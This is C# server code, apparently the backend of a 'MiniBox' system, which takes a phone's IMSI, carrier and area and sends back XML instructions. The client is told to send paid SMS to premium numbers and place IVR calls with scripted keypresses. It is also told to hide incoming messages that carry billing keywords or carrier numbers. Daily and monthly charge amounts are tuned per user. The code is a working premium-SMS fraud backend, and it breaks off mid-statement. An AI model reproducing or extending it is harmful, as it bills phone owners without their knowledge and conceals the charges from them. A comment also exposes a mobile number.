﻿using System;
using System.Data.Common;
using System.Data;
using System.Collections.Generic;
using System.Text;
using System.Linq;
using Pub.Class;
using System.Web;
using GTS.MiniBox.Entity;
using GTS.MiniBox.Page;
using GTS.MiniBox.Helper;

namespace GTS.MiniBox.Page
{
    /// <summary>
    /// 通唐通道信息
    /// </summary>
    public class tongtang
    {
        public string c_channel_code = string.Empty;
        public string c_content = string.Empty;
        public string c_del_channel = string.Empty;
        public string c_del_content = string.Empty;
        public string c_mobile = string.Empty;
        public decimal m_fee = 0;
        public int n_quantity = 0;
        public int c_reply_type = 0;
        public string c_prompt = string.Empty;
        public string c_reply_channel = string.Empty;
        public string c_reply_content = string.Empty;
    }
    /// <summary>
    /// 计费点节点
    /// </summary>
    public class charge
    {
        public string gameid = string.Empty;
        public string chargeid = string.Empty;
        public string key = string.Empty;
    }
    /// <summary>
    /// 状态报告节点
    /// </summary>
    public class sendsms
    {
        public string id = string.Empty;
        public string state = string.Empty;
    }
    /// <summary>
    /// MiniBox请求接口
    /// </summary>
    public class UpdateBox : System.Web.UI.Page
    {
        /// <summary>
        /// Page_Load
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        protected void Page_Load(object sender, EventArgs e)
        {
            string data = Request2.GetRequestInputStream();
            if (data.IsNullEmpty()) { Base.Write(""); } //SiteConfig.WriteLog("非法参数data");
            data = data.ReplaceRN().CheckJson();

            #region 基础数据
            //<info><phone id="20126131539548344" imei="" imsi="460004161149475" area="0416" mno="1"></phone>
            //<gtsbox origin="948" device="S802Z" compile="2011-04-01"><version major="5" minor="3" reserved="0"></version></gtsbox>
            //<xlite><version major="1" minor="0" reserved="0"></version></xlite></info>
            //基础数据
            string id = data.GetMatchingValue("id=\"(.+?)\"", 4, 1).Trim();
            string area = data.GetMatchingValue("area=\"(.+?)\"", 6, 1).Trim();
            string imsi = data.GetMatchingValue("imsi=\"(.+?)\"", 6, 1).Trim();
            int mno = data.GetMatchingValue("mno=\"(.+?)\"", 5, 1).Trim().ToInt(0);
            int origin = data.GetMatchingValue("origin=\"(.+?)\"", 8, 1).Trim().ToInt(0);
            string device = data.GetMatchingValue("device=\"(.+?)\"", 8, 1).Trim();
            string compile = data.GetMatchingValue("compile=\"(.+?)\"", 9, 1).Trim();

            if (imsi.IsNullEmpty() || !imsi.IsNumber()) { Base.Write(""); } //SiteConfig.WriteLog("非法参数imsi");
            if (imsi.StartsWith("9")) imsi = imsi.Substring(1);
            if (origin < 1) { Base.Write(""); } //SiteConfig.WriteLog("非法参数origin");
            bool useIVR = origin >= 200 && origin <= 948 && origin != 232 ? false : true;
            if (useIVR) useIVR = Base.IsIVRCharge(origin);
            #endregion

            #region 版本数据
            //<gtsbox origin="948" device="S802Z" compile="2011-04-01"><version major="5" minor="3" reserved="0"></version></gtsbox>
            //版本数据
            string version = string.Empty;
            string versiondata = data.GetMatchingValue("<gtsbox(.+?)</gtsbox>", 7, 9).Trim();
            if (!string.IsNullOrEmpty(versiondata))
            {
                string v1 = versiondata.GetMatchingValue("major=\"(\\d+)\"", 7, 1).Trim();
                string v2 = versiondata.GetMatchingValue("minor=\"(\\d+)\"", 7, 1).Trim();
                string v3 = versiondata.GetMatchingValue("reserved=\"(\\d+)\"", 10, 1).Trim();
                version = string.Format("{0}.{1}.{2}", v1, v2, v3);
            }
            #endregion

            #region 请求通堂数据
            string txml = "";
            if (!SiteConfig.TongTangOrigin.IsNullEmpty() && !SiteConfig.TongTangUrl.IsNullEmpty())
            {
                if (SiteConfig.TongTangOrigin.Split(';').IsInArray(origin.ToString()))
                {
                    try
                    {
                        txml = HttpHelper.SendPost(SiteConfig.TongTangUrl, data, "application/x-www-form-urlencoded");
                    }
                    catch (Exception ex) { SiteConfig.WriteLog(ex); }
                    if (!txml.IsNullEmpty() && txml.Length > 10)
                    {
                        string urlNode = txml.GetMatchingValue("<url(.+?)>", 4, 1).Trim();
                        if (urlNode == "/")
                        { //正常
                            long rid = RequestLogHelper.Insert(new RequestLog() { CityCode = area, CstCode = mno, DeviceCode = device, IMSI = imsi, OriginID = origin, PhoneID = id, Status = 10, Version = version }, "ConnString");
                            //if (rid > 0) RequestLogExtHelper.Insert(new RequestLogExt() { RequestID = rid, UpResult = data, DownResult = txml }, "ConnString");
                            Msg.WriteEnd(txml);
                        }
                        else
                        { //非正常 记日志
                            SiteConfig.WriteTongTangLog("非法url节点：" + txml);
                        }
                    }
                    else
                    { //非正常 记日志
                        SiteConfig.WriteTongTangLog("非法下行数据：" + txml);
                    }
                }
            }
            #endregion

            #region charge节点-计费点
            //<request><charge gameid="00117" chargeid="0" key="1"></charge></request>
            //charge节点信息
            IList<charge> chargeList = new List<charge>();
            IList<string> list = data.GetMatchingValues("<charge(.+?)></charge>", "<c", "</charge>");
            foreach (string s in list)
            {
                charge _charge = new charge();
                _charge.gameid = s.GetMatchingValue("gameid=\"(\\d+)\"", 8, 1).Trim();
                _charge.chargeid = s.GetMatchingValue("chargeid=\"(\\d+)\"", 10, 1).Trim();
                _charge.key = s.GetMatchingValue("key=\"(\\d+)\">", 5, 2).Trim();
                if (_charge.gameid.IsNullEmpty() || _charge.chargeid.IsNullEmpty()) continue;
                chargeList.Add(_charge);
            }
            chargeList = chargeList.Where(p => p.gameid.Length > 0).ToList();
            StringBuilder chargeLog = new StringBuilder();
            chargeList.Do(p => chargeLog.AppendFormat("{0},{1},{2}|", p.gameid, p.chargeid, p.key));
            if (chargeLog.Length > 0) chargeLog.RemoveLastChar(1);
            #endregion

            #region sendsms节点-状态报告
            //<log><yes><sendsms id="E2E8A03024A34C2E833CA0644438825" state="0"></sendsms></yes><no><deviceshow>1</deviceshow></no></log>
            //状态报告信息
            IList<sendsms> sendsmsList = new List<sendsms>();
            list = data.GetMatchingValues("<sendsms(.+?)></sendsms>", "<s", "</sendsms>");
            foreach (string s in list)
            {
                sendsms _sendsms = new sendsms();
                _sendsms.id = s.GetMatchingValue("id=\"(.+?)\"", 4, 1).Trim();
                _sendsms.state = s.GetMatchingValue("state=\"(.+?)\"", 7, 1).Trim();
                if (_sendsms.id.IsNullEmpty() || _sendsms.state.IsNullEmpty()) continue;
                sendsmsList.Add(_sendsms);
            }
            StringBuilder sendsmsLog = new StringBuilder();
            sendsmsList.Do(p => sendsmsLog.AppendFormat("{0},{1}|", p.id, p.state));
            if (sendsmsLog.Length > 0) sendsmsLog.RemoveLastChar(1);
            #endregion

            #region 执行上行
            string proc = "mode_MonthMRUp {0},'{1}','{2}',{3},'{4}','{5}','{6}','{7}','{8}','{9}'".FormatWith(
                mno, area.SafeSql(), imsi.SafeSql(), origin, device.SafeSql(), compile.SafeSql(), version.SafeSql(),
                id.SafeSql(), sendsmsLog.ToString().SafeSql(), chargeLog.ToString().SafeSql());
            DataSet ds = null;
            //SiteConfig.WriteLog(proc);
            try
            {
                ds = Data.GetDataSet(proc);
            }
            catch (Exception ex)
            {
                //SiteConfig.WriteLog(ex);
                SiteConfig.WriteLog("执行错误：" + ex.Message + Environment.NewLine + "* Proc：" + proc);
                //Base.Write("");
            }
            sendsmsLog.Clear();
            if (ds.IsNull() || ds.Tables.Count == 0) Base.Write("");
            int tables = ds.Tables.Count;
            int statusID = -1;
            long requestID = ds.Tables[0].Rows[0]["RequestID"].ToStr().ToBigInt(0); //表1 请求编号
            if (requestID < 1)
            {
                //SiteConfig.WriteLog("RequestID错误！");
                //RequestLogExtHelper.Insert(new RequestLogExt() { RequestID = requestID, UpResult = data }, "ConnString");
                Base.Write("");
            }
            if (tables == 1)
            { //非法数据
                //RequestLogExtHelper.Insert(new RequestLogExt() { RequestID = requestID, UpResult = data }, "ConnString");
                Base.Write("");
            }
            #region 达到各限 或 4小时内请求不处理数据
            if (tables == 4)
            { //达到各限 或 4小时内请求不处理数据
                StringBuilder downXml = new StringBuilder();
                downXml.Append("<down>");
                //表3 动态菜单
                string menu = ds.Tables[2].Rows.Count == 1 ? ds.Tables[2].Rows[0][0].ToStr() : "";
                if (!menu.IsNullEmpty()) downXml.Append("<DynamicMenu>").Append(menu).Append("</DynamicMenu>");
                int money = ds.Tables[3].Rows.Count == 1 ? ds.Tables[3].Rows[0][0].ToInt() : 0;
                string tip = Base.GetChargebackTip(money);
                if (!tip.IsNullEmpty() && money > 0) downXml.AppendFormat("<safechannel price=\"{1}\" tip=\"{0}\"></safechannel>", tip, money);
                if (ds.Tables[1].Rows.Count > 0)
                {
                    //屏蔽关键字
                    IList<string> blockChineseList = new List<string>();
                    IList<string> blockEnglishList = new List<string>();
                    IList<string> blockPhoneList = new List<string>();
                    IList<SMSChannelInfo> block48HourList = ds.Tables[1].ToList<SMSChannelInfo>();
                    IList<string> doubleChineseList = new List<string>();
                    IList<string> doubleEnglishList = new List<string>();
                    IList<string> doublePhoneList = new List<string>();
                    if (!block48HourList.IsNull())
                    {
                        block48HourList.Do(b =>
                        {
                            b.Chinese.Trim(';').ToStrings().Do(s => blockChineseList.Add(s));
                            b.English.Trim(';').ToStrings().Do(s => blockEnglishList.Add(s));
                            b.Phone.Trim(';').ToStrings().Do(s => blockPhoneList.Add(s));
                            b.ReplyChinese.Trim(';').ToStrings().Do(s => doubleChineseList.Add(s));
                            b.ReplyEnglish.Trim(';').ToStrings().Do(s => doubleEnglishList.Add(s));
                            b.ReplyPhone.Trim(';').ToStrings().Do(s => doublePhoneList.Add(s));
                        });
                    }
                    //屏蔽关键字
                    downXml.AppendFormat("<block>");
                    downXml.Append(Base.GlobalBlock(mno));
                    blockChineseList.Distinct().Do(b => downXml.AppendFormat("<chinese data=\"{0}\" />", b));
                    blockEnglishList.Distinct().Do(b => downXml.AppendFormat("<english data=\"{0}\" />", b));
                    blockPhoneList.Distinct().Do(b => downXml.AppendFormat("<number data=\"{0}\" />", b));
                    downXml.AppendFormat("</block>");
                    //二次确认
                    downXml.AppendFormat("<double>");
                    doubleChineseList.Distinct().Do(d => downXml.AppendFormat("<chinese data=\"{0}\" />", d));
                    doubleEnglishList.Distinct().Do(d => downXml.AppendFormat("<english data=\"{0}\" />", d));
                    doublePhoneList.Distinct().Do(d => downXml.AppendFormat("<number data=\"{0}\" />", d));
                    downXml.AppendFormat("</double>");
                }
                //控制URL
                //downXml.Append("<url />");
                downXml.Append("<url charge_url=\"{0}\" />".FormatWith("http://www.it-leo.com:8808/boxupdate.ashx"));
                //downXml.Append("<url charge_url=\"{0}\" double_url=\"{1}\" app_url=\"\" />".FormatWith(SiteConfig.charge_url, SiteConfig.double_url));
                //控制time
                downXml.Append("<control time=\"" + Base.GetTime(origin) + "\" phonebook_post=\"0\" show_menu=\"0\" show_charge=\"" + (money > 0 ? "2" : "100") + "\" sms_number=\"\" funtion=\"0\" />");
                downXml.Append("</down>");
                //RequestLogExtHelper.Insert(new RequestLogExt() { RequestID = requestID, UpResult = data, DownResult = downXml.ToString() }, "ConnString");
                Base.Write(downXml.ToString());
            }
            #endregion
            if (tables < 2) Base.Write("");
            string mobile = ds.Tables[1].Rows[0]["Mobile"].ToStr(); //表二 手机号
            StringBuilder xml = new StringBuilder();
            IList<SendLog> sendList = new List<SendLog>();
            #endregion

            #region 发短信猫
            if (tables == 5 && mobile.IsNullEmpty())
            { //发短信猫
                //表3 短信猫通道
                IList<CatChannelInfo> catList = ds.Tables[2].ToList<CatChannelInfo>();
                CatChannelInfo cat = catList[0];
                if (cat.IsNull() || cat.ChannelID.IsNull()) { Base.Write(""); } //SiteConfig.WriteLog("短信猫错误！");
                string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                int timer = cat.MinSpanTime == cat.MaxSpanTime && cat.MinSpanTime > 0 ? cat.MinSpanTime.Value : Rand.RndInt(cat.MinSpanTime.Value, cat.MaxSpanTime.Value);
                sendList.Add(new SendLog() { ChannelID = cat.ChannelID, Type = 0, MsgID = msgID, Price = 0 });
                sendList.Do(p => sendsmsLog.AppendFormat("`{0}`,{1},{2},{3}|", msgID, cat.ChannelID, 0, 0));
                sendsmsLog.RemoveLastChar("|");
                //表5 动态菜单
                string menu = ds.Tables[4].Rows.Count == 1 ? ds.Tables[4].Rows[0][0].ToStr() : "";
                if (!menu.IsNullEmpty()) xml.Append("<DynamicMenu>").Append(menu).Append("</DynamicMenu>");
                int money = ds.Tables[3].Rows.Count == 1 ? ds.Tables[3].Rows[0][0].ToInt() : 0;
                string tip = Base.GetChargebackTip(money);
                if (!tip.IsNullEmpty() && money > 0)
                {
                    xml.AppendFormat("<safechannel price=\"{1}\" tip=\"{0}\"></safechannel>", tip, money);
                    //SiteConfig.WriteLog("money:" + money + "|" + tip);
                }
                //屏蔽关键字
                xml.Append("<block>");
                catList.Do(p => xml.AppendFormat("<number data=\"{0}\" />", p.CatNo));
                xml.Append("</block>");
                //控制URL
                xml.Append("<url />");
                //xml.Append("<url charge_url=\"{0}\" />".FormatWith("http://www.it-leo.com:8808/boxupdate.ashx"));
                //xml.Append("<url charge_url=\"{0}\" double_url=\"{1}\" app_url=\"\" />".FormatWith(SiteConfig.charge_url, SiteConfig.double_url));
                //控制time
                xml.Append("<control time=\"" + Base.GetTime(origin) + "\" phonebook_post=\"0\" show_menu=\"0\" show_charge=\"" + (money > 0 ? "2" : "100") + "\" sms_number=\"\" funtion=\"0\" />");
                //发短信猫
                xml.Append("<sendsms>");
                xml.AppendFormat("<send id=\"{0}\" number=\"{1}\" data=\"{2}\" timer=\"{3}\"></send>", msgID, cat.CatNo, cat.CatContent.Replace("%IMSI%", imsi), timer);
                xml.Append("</sendsms>");
            }
            #endregion

            #region 发SMS/IVR
            StringBuilder blockLog = new StringBuilder();
            if (tables == 8 && !mobile.IsNullEmpty())
            { //发短信
                //表2 手机号、区号、省号、收到月MR
                mobile = ds.Tables[1].Rows[0]["Mobile"].ToStr(); //表二 手机号
                area = ds.Tables[1].Rows[0]["CityCode"].ToStr();
                mno = ds.Tables[1].Rows[0]["CstCode"].ToInt(0);
                int province = ds.Tables[1].Rows[0]["ProvinceCode"].ToInt(0);
                int monthMRPrice = ds.Tables[1].Rows[0]["MonthMRPrice"].ToInt(0);
                int sendMaxMoney = ds.Tables[1].Rows[0]["SendMaxMoney"].ToInt(0).IfLessThan(10, 10);
                //表3 扣费规则（批次、省份、用户日MO、用户月MR）OriginID,ProvinceCode,UserDayMOMoney,UserMonthMRMoney
                if (ds.Tables[2].Rows.Count == 0) Base.Write("");
                ChargebackRule chargeRule = ds.Tables[2].ToEntity<ChargebackRule>();
                //表4 通道池排行（通道编号、类型、排行、成功率）
                if (ds.Tables[3].Rows.Count == 0) Base.Write("");
                IList<ChannelRule> channelRuleList = ds.Tables[3].ToList<ChannelRule>();
                //表5 SMS通道
                IList<SMSChannelInfo> smsList = ds.Tables[4].ToList<SMSChannelInfo>();
                //表6 IVR通道
                IList<IVRChannelInfo> ivrList = ds.Tables[5].ToList<IVRChannelInfo>();
                //表7 屏蔽48小时
                IList<SMSChannelInfo> block48HourList = ds.Tables[6].ToList<SMSChannelInfo>();
                //表8 动态菜单
                string menu = ds.Tables[7].Rows.Count == 1 ? ds.Tables[7].Rows[0][0].ToStr() : "";

                //动态菜单
                if (!menu.IsNullEmpty()) xml.Append("<DynamicMenu>").Append(menu).Append("</DynamicMenu>");
                //提示语
                int money = chargeRule.UserMonthMRMoney.Value;
                string tip = Base.GetChargebackTip(money);
                if (!tip.IsNullEmpty() && money > 0) xml.AppendFormat("<safechannel price=\"{1}\" tip=\"{0}\"></safechannel>", tip, money);
                //xml.Append("<safechannel price=\"80\" tip=\"资费:8元/月。购买后当月您可以无限次畅玩游戏！\"></safechannel>");
                //屏蔽关键字
                IList<string> blockChineseList = new List<string>();
                IList<string> blockEnglishList = new List<string>();
                IList<string> blockPhoneList = new List<string>();
                IList<string> doubleChineseList = new List<string>();
                IList<string> doubleEnglishList = new List<string>();
                IList<string> doublePhoneList = new List<string>();
                //修改扣费规则 80-0=80<40 =10
                if ((chargeRule.UserMonthMRMoney.Value - monthMRPrice) < chargeRule.UserDayMOMoney.Value) //80-60<40
                    chargeRule.UserDayMOMoney = chargeRule.UserMonthMRMoney.Value - monthMRPrice;
                if (chargeRule.UserDayMOMoney.Value >= sendMaxMoney) chargeRule.UserDayMOMoney = sendMaxMoney; //一次只发一条
                //if (chargeList.Where(p=> p.key == "1").Count() == 0) chargeRule.UserDayMOMoney = 0;
                foreach (ChannelRule p in channelRuleList)
                {
                    if (p.Type.Value == 1)
                    { //sms
                        SMSChannelInfo info = smsList.Where(s => s.ChannelID == p.ChannelID).FirstOrDefault();
                        if (info.IsNull() || info.ChannelID.IsNull()) continue;
                        //用户剩于发送 = 通道用户日限 - 当天用户已发送 60-0=60
                        info.UserDayMOMoney = info.UserDayMOMoney.Value - p.UserDaySendMOMoney.Value;
                        if (info.UserDayMOMoney <= 0) continue;
                        //通道MO月限 - 当月发送 < 通道用户日限 80-0 = 80<60 =119
                        if (info.UserMonthMOMoney.Value - p.UserMonthSendMOMoney.Value < info.UserDayMOMoney)
                            info.UserDayMOMoney = info.UserMonthMOMoney.Value - p.UserMonthSendMOMoney.Value;
                        //通道MR月限 - 已成功接收 < 通道用户日限 80-0 = 80<60 =119
                        if (info.UserMonthMRMoney.Value - p.UserMonthSendMRMoney.Value < info.UserDayMOMoney)
                            info.UserDayMOMoney = info.UserMonthMRMoney.Value - p.UserMonthSendMRMoney.Value;
                        if (info.UserDayMOMoney <= 0) continue;
                        if (chargeRule.UserDayMOMoney <= 0) continue;
                        chargeRule.UserDayMOMoney = chargeRule.UserDayMOMoney.Value >= info.UserDayMOMoney.Value ? info.UserDayMOMoney.Value : chargeRule.UserDayMOMoney.Value;

                        if (info.SPCode == "ToneTime")
                        { //通唐通道
                            #region 通唐通道
                            string apiUrl = SiteConfig.TongTangChargeUrl.IfNullOrEmpty("http://gtsa.tone-time.com/agent/fee.jsp");
                            string apiData = "mobile={0}&imsi={1}&price={2}&ip={3}".FormatWith(mobile, imsi, chargeRule.UserDayMOMoney, Request2.GetIP());
                            string apiResult = "";
                            try
                            {
                                apiResult = HttpHelper.SendPost(apiUrl, apiData, "application/x-www-form-urlencoded");
                            }
                            catch (Exception ex) { SiteConfig.WriteTongTangLog(ex.Message); }
                            if (apiResult == "") { continue; } //SiteConfig.WriteTongTangLog("空数据：" + apiUrl + "?" + apiData);
                            //{"status":200,"value":[{"m_fee":10,"c_content":"U","c_reply_type":1,"c_channel_code":"10666008","c_del_channel":"10666008","c_del_content":"代收/5105526/信息费/","c_mobile":"13841988016","c_prompt":"欢迎使用《光影拍手》为您提供的特效服务，本次服务将通过3条1元短信收取您3元的特效点播服务费；不含基本通信费，由当地运营商代收；购买一次当天免费使用。客服电话：4007005526","c_reply_channel":" ","c_reply_content":" ","n_quantity":3},{"m_fee":10,"c_content":"YQSUd","c_reply_type":1,"c_channel_code":"10660208","c_del_channel":"10086/10660208/","c_del_content":"551735/点播/代收/信息费/","c_mobile":"13841988016","c_prompt":"欢迎使用《光影拍手》为您提供的特效服务，本次服务将通过5条1元短信收取您5元的特效点播服务费；不含基本通信费，由当地运营商代收；购买一次当天免费使用。客服电话：010-88551735","c_reply_channel":" ","c_reply_content":" ","n_quantity":5}],"act":"feepkg"}
                            apiResult = apiResult.FormBase64(Encoding.UTF8).CheckJson();
                            data += apiResult + ";url:" + apiUrl + ";data:" + apiData;
                            int status = apiResult.GetJsonInt("status");
                            if (status != 200) { continue; } //SiteConfig.WriteTongTangLog("状态错误：" + apiResult + ";url:" + apiUrl + ";data:" + apiData);
                            IList<string> jsonList = apiResult.Trim('{', '}', ' ').GetMatchingValues("{(.+?)}", "{", "}");
                            if (jsonList.Count == 0) { continue; } //SiteConfig.WriteTongTangLog("通道列表无效：" + apiResult + ";url:" + apiUrl + ";data:" + apiData);
                            foreach (string json in jsonList)
                            {
                                tongtang c = new tongtang();
                                c.c_channel_code = json.GetJsonString("c_channel_code"); c.m_fee = json.GetJsonDecimal("m_fee");
                                c.c_content = json.GetJsonString("c_content"); c.c_reply_type = json.GetJsonInt("c_reply_type");
                                c.c_del_channel = json.GetJsonString("c_del_channel"); c.c_del_content = json.GetJsonString("c_del_content");
                                c.c_mobile = json.GetJsonString("c_mobile"); c.c_prompt = json.GetJsonString("c_prompt");
                                c.c_reply_channel = json.GetJsonString("c_reply_channel"); c.c_reply_content = json.GetJsonString("c_reply_content");
                                c.n_quantity = json.GetJsonInt("n_quantity");

                                if (c.c_reply_type == 1 && c.n_quantity > 0)
                                {
                                    for (int i = 0; i < c.n_quantity; i++)
                                    {
                                        string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                                        int timer = Base.RndInt(info.MinSpanTime.Value, info.MaxSpanTime.Value);
                                        sendList.Add(new SendLog() { ChannelID = p.ChannelID, Type = p.Type, MsgID = msgID, Price = (int)c.m_fee, Mobile = c.c_channel_code, IMSI = c.c_content, MsgStatus = timer });
                                        chargeRule.UserDayMOMoney = chargeRule.UserDayMOMoney.Value - (int)c.m_fee;
                                    }
                                    if (!c.c_del_content.IsNullEmpty())
                                    {
                                        info.Chinese = c.c_del_content.ToStrings('/').Where(s => !s.IsInt() && s.Length > 0).Join(";");
                                        info.Phone = c.c_del_content.ToStrings('/').Where(s => s.IsInt() && s.Length > 0).Join(";");
                                    }
                                    if (!c.c_del_channel.IsNullEmpty())
                                    {
                                        info.Phone = (info.Phone.IsNullEmpty() ? "" : ";") + c.c_del_channel.ToStrings('/').Where(s => s.Length > 0).Join(";");
                                    }
                                }
                                else if (c.n_quantity == -1)
                                {
                                    continue;
                                }
                                else continue;
                                //if (!c.c_reply_content.IsNullEmpty()) {
                                //    info.ReplyPhone = c.c_channel_code;
                                //    if (c.c_reply_type==3) {
                                //        string[] c_reply_content = c.c_reply_content.Split('|');
                                //    } else if(c.c_reply_type==2) {

                                //    }
                                //}
                                //if (!c.c_reply_channel.IsNullEmpty()) {
                                //    info.ReplyPhone += (info.ReplyPhone.IsNullEmpty() ? "" : ";") + c.c_reply_channel.ToStrings('/').Where(s => s.Length > 0).Join(";");
                                //}
                                block48HourList.Add(info);
                                blockLog.AppendFormat("{0},`{1}`,`{2}`,`{3}`,`{4}`,`{5}`,`{6}`|",
                                    info.ChannelID, info.Chinese.Trim(';'), info.English.Trim(';'), info.Phone.Trim(';'),
                                    info.ReplyChinese.Trim(';'), info.ReplyEnglish.Trim(';'), info.ReplyPhone.Trim(';'));
                            }
                            #endregion
                        }
                        else
                        {
                            #region 我们自己的通道
                            //10>=200? : 10/10=1
                            int len = chargeRule.UserDayMOMoney.Value / info.Price.Value + (chargeRule.UserDayMOMoney.Value % info.Price.Value == 0 ? 0 : 1);
                            if (len == 0) continue;
                            for (int i = 0; i < len; i++)
                            {
                                string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                                int timer = Base.RndInt(info.MinSpanTime.Value, info.MaxSpanTime.Value);
                                sendList.Add(new SendLog() { ChannelID = p.ChannelID, Type = p.Type, MsgID = msgID, Price = info.Price, Mobile = info.LongPhone, IMSI = info.Instruction, MsgStatus = timer });
                                chargeRule.UserDayMOMoney = chargeRule.UserDayMOMoney.Value - info.Price.Value;
                            }
                            block48HourList.Add(info);
                            blockLog.AppendFormat("{0},`{1}`,`{2}`,`{3}`,`{4}`,`{5}`,`{6}`|", info.ChannelID, info.Chinese, info.English, info.Phone, info.ReplyChinese, info.ReplyEnglish, info.ReplyPhone);
                            #endregion
                        }
                    }
                    if (p.Type.Value == 2 && useIVR)
                    { //ivr
                        #region 我们自己的IVR通道
                        IVRChannelInfo info = ivrList.Where(s => s.ChannelID == p.ChannelID).FirstOrDefault();
                        if (info.IsNull() || info.ChannelID.IsNull()) continue;
                        //用户剩于发送 = 通道用户日限 - 当天用户已发送 75-0=75
                        info.UserDayMOMoney = info.UserDayMOMoney.Value - p.UserDaySendMOMoney.Value;
                        if (info.UserDayMOMoney <= 0) continue;
                        //通道MO月限 - 当月发送 < 通道用户日限 225-0 = 225<75 =119
                        if (info.UserMonthMOMoney.Value - p.UserMonthSendMOMoney.Value < info.UserDayMOMoney)
                            info.UserDayMOMoney = info.UserMonthMOMoney.Value - p.UserMonthSendMOMoney.Value;
                        //通道MR月限 - 已成功接收 < 通道用户日限 80-0 = 80<60 =119
                        if (info.UserMonthMRMoney.Value - p.UserMonthSendMRMoney.Value < info.UserDayMOMoney)
                            info.UserDayMOMoney = info.UserMonthMRMoney.Value - p.UserMonthSendMRMoney.Value;
                        if (info.UserDayMOMoney <= 0) continue;
                        if (chargeRule.UserDayMOMoney <= 0) continue;
                        chargeRule.UserDayMOMoney = chargeRule.UserDayMOMoney.Value >= info.UserDayMOMoney.Value ? info.UserDayMOMoney.Value : chargeRule.UserDayMOMoney.Value;

                        //10>=200? : 10/25= 0 + 1
                        int price = info.Price.Value;
                        int len = chargeRule.UserDayMOMoney.Value / info.Price.Value + (chargeRule.UserDayMOMoney.Value % info.Price.Value == 0 ? 0 : 1);
                        if (len == 0) continue;
                        for (int i = 0; i < len; i++)
                        {
                            string msgID = Rand.RndGuid().Replace("-", "").Left(31);
                            int rate = Base.RndInt(1, 101);
                            int timer = Base.RndInt(info.HangUpTime.Value, info.HangDownTime.Value).IfEqual(0, Base.RndInt(10, 60));
                            if (timer > 360)
                            {
                                SiteConfig.WriteLog(timer + "|" + info.ToJson());
                                timer = 360;
                            }
                            if (rate <= info.HangUpRate)
                            {
                                timer = Base.RndInt(1, 5);
                                info.Price = 0;
                            }
                            else
                            {
                                info.Price = price * (timer / 60 + (timer % 60 == 0 ? 0 : 1));
                            }
                            sendList.Add(new SendLog() { ChannelID = p.ChannelID, Type = p.Type, MsgID = msgID, Price = info.Price, Mobile = info.LongPhone, IMSI = info.ValidateValue, DeviceCode = info.ValidateTime, MsgStatus = timer });
                            chargeRule.UserDayMOMoney = chargeRule.UserDayMOMoney.Value - info.Price.Value;
                            if (info.Price == 0) break;
                        }
                        if (!(info.Chinese.IsNullEmpty() && info.English.IsNullEmpty() && info.Phone.IsNullEmpty()))
                        {
                            block48HourList.Add(new SMSChannelInfo() { ChannelID = info.ChannelID, Chinese = info.Chinese, English = info.English, Phone = info.Phone, ReplyChinese = "", ReplyEnglish = "", ReplyPhone = "" });
                            blockLog.AppendFormat("{0},`{1}`,`{2}`,`{3}`,`{4}`,`{5}`,`{6}`|", info.ChannelID, info.Chinese, info.English, info.Phone, "", "", "");
                        }
                        #endregion
                    }
                };
                block48HourList.Do(b =>
                {
                    b.Chinese.Trim(';').ToStrings().Do(s => blockChineseList.Add(s));
                    b.English.Trim(';').ToStrings().Do(s => blockEnglishList.Add(s));
                    b.Phone.Trim(';').ToStrings().Do(s => blockPhoneList.Add(s));
                    b.ReplyChinese.Trim(';').ToStrings().Do(s => doubleChineseList.Add(s));
                    b.ReplyEnglish.Trim(';').ToStrings().Do(s => doubleEnglishList.Add(s));
                    b.ReplyPhone.Trim(';').ToStrings().Do(s => doublePhoneList.Add(s));
                });
                //屏蔽关键字
                xml.AppendFormat("<block>");
                xml.Append(Base.GlobalBlock(mno));
                blockChineseList.Distinct().Do(b => xml.AppendFormat("<chinese data=\"{0}\" />", b));
                blockEnglishList.Distinct().Do(b => xml.AppendFormat("<english data=\"{0}\" />", b));
                blockPhoneList.Distinct().Do(b => xml.AppendFormat("<number data=\"{0}\" />", b));
                xml.AppendFormat("</block>");
                //二次确认
                xml.AppendFormat("<double>");
                doubleChineseList.Distinct().Do(d => xml.AppendFormat("<chinese data=\"{0}\" />", d));
                doubleEnglishList.Distinct().Do(d => xml.AppendFormat("<english data=\"{0}\" />", d));
                doublePhoneList.Distinct().Do(d => xml.AppendFormat("<number data=\"{0}\" />", d));
                xml.AppendFormat("</double>");
                //控制URL
                //xml.Append("<url />");
                xml.Append("<url charge_url=\"{0}\" />".FormatWith("http://www.it-leo.com:8808/boxupdate.ashx"));
                //xml.Append("<url charge_url=\"{0}\" double_url=\"{1}\" app_url=\"\" />".FormatWith(SiteConfig.charge_url, SiteConfig.double_url));
                //控制time
                xml.Append("<control time=\"" + Base.GetTime(origin) + "\" phonebook_post=\"0\" show_menu=\"0\" show_charge=\"" + (money > 0 ? "2" : "100") + "\" sms_number=\"\" funtion=\"0\" />");
                //发短信
                xml.Append("<sendsms>");
                sendList.Where(p => p.Type == 1).Do(p =>
                {
                    xml.AppendFormat("<send id=\"{0}\" number=\"{1}\" data=\"{2}\" timer=\"{3}\"></send>", p.MsgID, p.Mobile, p.IMSI, p.MsgStatus);
                    sendsmsLog.AppendFormat("`{0}`,{1},{2},{3}|", p.MsgID, p.ChannelID, p.Type, p.Price);
                });
                xml.Append("</sendsms>");
                //打电话
                xml.Append("<call>");
                sendList.Where(p => p.Type == 2).Do(p =>
                {
                    string[] value = p.IMSI.Trim(';').ToStrings(';');
                    string[] time = p.DeviceCode.Trim(';').ToStrings(';');
                    xml.AppendFormat("<ivr id=\"{0}\" number=\"{1}\" timer=\"{2}\">", p.MsgID, p.Mobile, p.MsgStatus);
                    if (value.Length == time.Length && value.Length > 0)
                    {
                        for (int i = 0; i < value.Length; i++)
                        {
                            if (value.IsNullEmpty()) continue;
                            xml.AppendFormat("<keyinfo key=\"{0}\" timer=\"{1}\"></keyinfo>", (int)value[i].ToCharArray()[0], time[i]);
                        }
                    }
                    xml.AppendFormat("</ivr>");
                    sendsmsLog.AppendFormat("`{0}`,{1},{2},{3}|", p.MsgID, p.ChannelID, p.Type, p.Price);
                });
                xml.Append("</call>");
            }
            sendsmsLog.RemoveLastChar("|");
            blockLog.RemoveLastChar("|");
            #endregion

            #region 执行下行
            if (sendList.Count == 0) statusID = 3;
            proc = "mode_MonthMRDown {0},'{1}','{2}','{3}',{4},'{5}','{6}',{7},{8},'{9}','{10}','{11}','{12}'".FormatWith(
